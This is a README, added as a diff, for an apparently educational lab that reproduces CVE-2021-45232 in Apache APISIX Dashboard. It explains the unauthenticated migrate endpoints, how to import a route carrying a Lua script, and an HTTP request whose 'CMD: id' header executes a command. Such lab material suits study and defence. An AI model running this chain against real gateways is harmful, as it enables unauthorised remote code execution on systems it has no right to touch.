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+# Apache APISIX Dashboard Unauthenticated Access Leads to RCE (CVE-2021-45232)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Apache APISIX is a dynamic, real-time, high-performance API gateway, and Apache APISIX Dashboard is a easy to use frontend interface that is used to manage the Apache APISIX.
+
+In Apache APISIX Dashboard before 2.10.1, the Manager API uses two frameworks and introduces framework `droplet` on the basis of framework `gin`, all APIs and authentication middleware are developed based on framework `droplet`. But there are 2 of these APIs `/apisix/admin/migrate/export` and `/apisix/admin/migrate/import` directly use the interface of framework `gin` which are able to bypass the authentication.
+
+By using these 2 unauthenticated API endpoints, attackers can export and import arbitrary Apache APISIX configuration including routers, services, scripts etc, that leads to reqeust unexpected URL (SSRF) or execute arbitrary LUA scripts (RCE).
+
+References:
+
+- https://apisix.apache.org/blog/2021/12/28/dashboard-cve-2021-45232/
+- https://github.com/wuppp/cve-2021-45232-exp
+
+## Vulnerable environment
+
+Execute following command to start a vulnerable Apache APISIX Dashboard 2.9:
+
+```
+docker compose up -d
+```
+
+Then you can access `http://your-ip:9000/` to see the login page for Apache APISIX Dashboard.
+
+## Exploit
+
+`/apisix/admin/migrate/export` and `/apisix/admin/migrate/import` are 2 unauthenticated API provided by Apache APISIX Dashboard, that are used to export and import configuration for Apache APISIX. So we can simplely import a craft configuration with evil router that contains user provided LUA script:
+
+![](1.png)
+
+Noted that the last 4 bytes are CRC checksum of this file, so it's better to use a automatic POC to build and send the request, for example [this POC](https://github.com/wuppp/cve-2021-45232-exp).
+
+After adding the evil router, you should send the request to Apache APISIX (difference from Apache APISIX Dashboard) to trigger the LUA script.
+
+The Apache APISIX is listening on port 9080 in this environment:
+
+```
+GET /okw1Rh HTTP/1.1
+Host: your-ip:9080
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en-US;q=0.9,en;q=0.8
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
+Connection: close
+CMD: id
+Cache-Control: max-age=0
+
+
+```
+
+![](2.png)
+
+As you can see, the command in `CMD` header is executed by Apache APISIX.